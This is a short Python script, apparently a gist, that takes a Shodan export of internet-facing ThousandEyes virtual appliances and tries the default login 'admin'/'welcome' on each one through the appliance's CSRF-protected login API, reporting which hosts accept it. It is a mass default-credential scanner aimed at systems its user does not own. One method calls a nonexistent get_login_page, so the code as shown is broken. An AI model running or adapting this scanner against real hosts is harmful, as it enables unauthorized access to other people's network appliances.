quick+dirty ThousandEyes appliance web login automation

thousandmine.py

import aiohttp
import asyncio
import json


class TEAppliance:
    def __init__(self, ip: str, port: int) -> None:
        self.ip = ip
        self.port = port
        self.cookie = (None,)
        self.csrfheader = (None,)
        self.session = None

    async def prepare_login(self) -> None:
        '''Retrieves the CSRF header and cookie to set for login API request'''
        endpoint = f"https://{self.ip}:{self.port}/api/app-config"
        async with self.session.get(endpoint, ssl=False) as response:
            print("GET", endpoint, response.status)
            if response.ok:
                self.cookie = response.headers.get("Set-Cookie").split(";")[0]
                self.csrfheader = response.headers.get("x-newcsrftoken")
                print(self.cookie, self.csrfheader)
            else:
                raise Exception("ugh")

    async def do_login(self) -> None:
        '''Logs into the API endpoint using credentials'''
        endpoint = f"https://{self.ip}:{self.port}/api/login"
        await self.get_login_page()
        async with self.session.post(
            endpoint,
            data='{"username": "admin", "password": "welcome"}',
            headers={
                "Content-Type": "application/json",
                "Accept": "application/json, text/plain, */*",
                "X-CSRFToken": self.csrfheader,
                "Cookie": self.cookie,
            },
            ssl=False,
        ) as response:
            if response.ok:
                j = await response.json()
                if j['success']:
                    print(endpoint, "SUCCESS:", response)
                else:
                    print(endpoint, "Default credentials did not work")
            else:
                print(endpoint, response.status)

    async def entrypoint(self) -> None:
        async with aiohttp.ClientSession(trust_env=True) as session:
            self.session = session
            await self.prepare_login()
            await self.do_login()


async def main():
    targets = []
    # JSON file is an export from Shodan. Query for ThousandEyes appliances is `http.title:"ThousandEyes Virtual Appliance"`
    with open("./te.json", "r") as f:
        for line in f:
            j = json.loads(line)
            targets.append({"ip": j["ip_str"], "port": j["port"]})

    for target in targets:
        await TEAppliance(target["ip"], target["port"]).entrypoint()


if __name__ == "__main__":
    asyncio.run(main())